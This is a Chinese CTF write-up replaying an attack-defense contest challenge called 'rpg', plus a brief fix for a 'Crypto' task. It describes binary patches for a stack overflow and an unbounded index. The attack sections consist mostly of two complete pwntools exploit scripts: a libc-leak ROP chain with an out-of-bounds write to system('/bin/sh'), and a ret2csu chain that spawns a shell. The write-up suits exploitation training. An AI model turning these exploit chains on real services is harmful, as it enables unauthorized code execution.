2026上海磐石线下赛复现

rpg

fix

这个题目有两个利用点

image-20260920103907860

第一个漏洞点是栈溢出直接把100h改成50h就行

image-20260920103951137

第二个漏洞是这里的V4没有上限

第一种我们直接改成v4 < 63

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

context.clear(arch="amd64", os="linux")

code = asm("""
cmp dword ptr [rbp-0x8], 0x3f
ja $+0xf5
nop
""")

print(code.hex(" "))

image-20260920111032474

当时比赛完和其他师傅交流的时候,他们说直接班*4 改成 *3 也可以防住

attack

思路1:通过栈溢出泄露libc,再用chat的写入将返回地址覆盖成system(“/bin/sh”)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
def w32(i,v):
sla(b"Enter chat index (-1 to exit): ",str(i).encode())
sla(b"Choice: ", b"2")
sla(b'Enter value: ',str(c_int32(v).value).encode())

def w64(i,v):
w32(i,v)
w32(i+1,v>>32)

# ================= 12. 利用逻辑区 =================

def main():


puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.sym["main"]
offset = 0x50+8
rdi_ret = 0x0000000000401ce3
ret = 0x000000000040101a
payload1 = b"a"*0x50+b"b"*0x08+p64(ret)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(ret)+p64(main)
ru(b"Your choice: ")#此题不可去
sl(b'1')
ru(b"Enter your hero's name: ")#此题不可去
sl(payload1)
ru(b"HP: 100, Attack: 10, Defense: 5\n")
puts_addr=u64(r(6).ljust(8, b'\x00'))
#ru(b"bbbb")
#puts_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

libc_base = puts_addr - libc.sym["puts"]
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))

lg("libc_base", libc_base)
lg("system_addr", system_addr)
lg("binsh_addr", binsh_addr)

ru(b"Your choice: ")
sl(b"7")

w64(70, ret)
w64(72, rdi_ret)
w64(74, binsh_addr)
w64(76, system_addr)

sla(b"Enter chat index (-1 to exit): ", b"-1")




#Reg(7, b'AAAA', b'BBBB')
# for i in range(13):
# delete(i)


# for i in reversed(range(7, 13)):
# delete(i)


#dbg()


if __name__ == '__main__':
main()
p.interactive()

思路二:ret2cus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
read_got = elf.got["read"]
system_plt = elf.plt["system"]

ret = 0x40101a
pop_rdi = 0x401ce3

# ret2csu 两个关键 gadget
csu_pop = 0x401cda
csu_call = 0x401cc0

# 写 /bin/sh 的地方
# 这里用 hero 结构体起始地址,属于 .bss,可写
bss_addr = 0x4041c0

lg("read_got", read_got)
lg("system_plt", system_plt)
lg("bss_addr", bss_addr)

payload = b"a" * 0x50
payload += b"b" * 0x08

# 对齐
payload += p64(ret)

# =========================
# ret2csu 调 read(0, bss_addr, 8)
# =========================

payload += p64(csu_pop)

payload += p64(0) # rbx = 0
payload += p64(1) # rbp = 1,保证只 call 一次
payload += p64(0) # r12 -> edi = 0,也就是 stdin
payload += p64(bss_addr) # r13 -> rsi = bss_addr
payload += p64(8) # r14 -> rdx = 8
payload += p64(read_got) # r15 -> call [read_got]

payload += p64(csu_call)

# csu_call 后面会:
# add rsp, 8
# pop rbx
# pop rbp
# pop r12
# pop r13
# pop r14
# pop r15
# ret
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)

# =========================
# system(bss_addr)
# =========================

payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bss_addr)
payload += p64(system_plt)

ru(b"Your choice: ")
sl(b"1")

ru(b"Enter your hero's name: ")
sl(payload)

# ROP 执行到 read(0, bss_addr, 8) 时,发 /bin/sh
s(b"/bin/sh\x00")

Crypto

fix

image-20260920203055565

snprintf不会影响任何功能所以直接可以把他nop掉

image-20260920203143966

image-20260920203640943

把200h改成80h就可以修复栈溢出了。